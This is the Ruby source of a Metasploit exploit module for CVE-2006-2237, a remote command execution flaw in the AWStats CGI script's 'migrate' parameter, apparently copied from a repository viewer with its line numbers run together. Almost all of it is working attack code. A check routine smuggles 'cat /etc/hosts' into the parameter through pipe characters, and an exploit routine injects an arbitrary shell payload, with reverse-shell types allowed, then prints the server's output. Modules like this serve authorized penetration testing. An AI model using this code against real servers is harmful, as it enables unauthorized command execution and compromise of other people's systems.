Path: blob/master/modules/exploits/unix/webapp/awstats_migrate_exec.rb
19849 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'AWStats migrate Remote Command Execution',15'Description' => %q{16This module exploits an arbitrary command execution vulnerability in the17AWStats CGI script. AWStats v6.4 and v6.5 are vulnerable. Perl based18payloads are recommended with this module. The vulnerability is only19present when AllowToUpdateStatsFromBrowser is enabled in the AWStats20configuration file (non-default).21},22'Author' => [ 'aushack' ],23'License' => MSF_LICENSE,24'References' => [25['CVE', '2006-2237'],26['OSVDB', '25284'],27['BID', '17844'],28['URL', 'http://awstats.sourceforge.net/awstats_security_news.php'],29['EDB', '1755'],30],31'Privileged' => false,32'Payload' => {33'DisableNops' => true,34'Space' => 512,35'Compat' =>36{37'PayloadType' => 'cmd cmd_bash',38'RequiredCmd' => 'generic perl ruby python bash-tcp telnet',39}40},41'Platform' => 'unix',42'Arch' => ARCH_CMD,43'Targets' => [[ 'Automatic', {}]],44'DisclosureDate' => '2006-05-04',45'DefaultTarget' => 0,46'Notes' => {47'Reliability' => UNKNOWN_RELIABILITY,48'Stability' => UNKNOWN_STABILITY,49'SideEffects' => UNKNOWN_SIDE_EFFECTS50}51)52)5354register_options(55[56OptString.new('URI', [true, "The full URI path to awstats.pl", "/cgi-bin/awstats.pl"]),57OptString.new('AWSITE', [true, "The AWStats config site name", "demo"]),58]59)60end6162def check63res = send_request_cgi({64'uri' => normalize_uri(datastore['URI']),65'vars_get' =>66{67'migrate' => "|echo;cat /etc/hosts;echo|awstats#{Rex::Text.rand_text_numeric(6)}.#{datastore['AWSITE']}.txt"68}69}, 25)7071if (res and res.body.match(/localhost/))72return Exploit::CheckCode::Vulnerable73end7475return Exploit::CheckCode::Safe76end7778def exploit79command = Rex::Text.uri_encode("cd /tmp &&" + payload.encoded)80sploit = normalize_uri(datastore['URI']) + "?migrate=|echo;echo%20YYY;#{command};echo%20YYY;echo|awstats#{Rex::Text.rand_text_numeric(6)}.#{datastore['AWSITE']}.txt"8182res = send_request_raw({83'uri' => sploit,84'method' => 'GET',85'headers' =>86{87'Connection' => 'Close',88}89}, 25)9091if (res)92print_status("The server returned: #{res.code} #{res.message}")9394m = res.body.match(/YYY\n(.*)\nYYY/m)9596if (m)97print_status("Command output from the server:")98print("\n" + m[1] + "\n\n")99else100print_status("This server may not be vulnerable")101end102else103print_status("No response from the server")104end105end106end107108109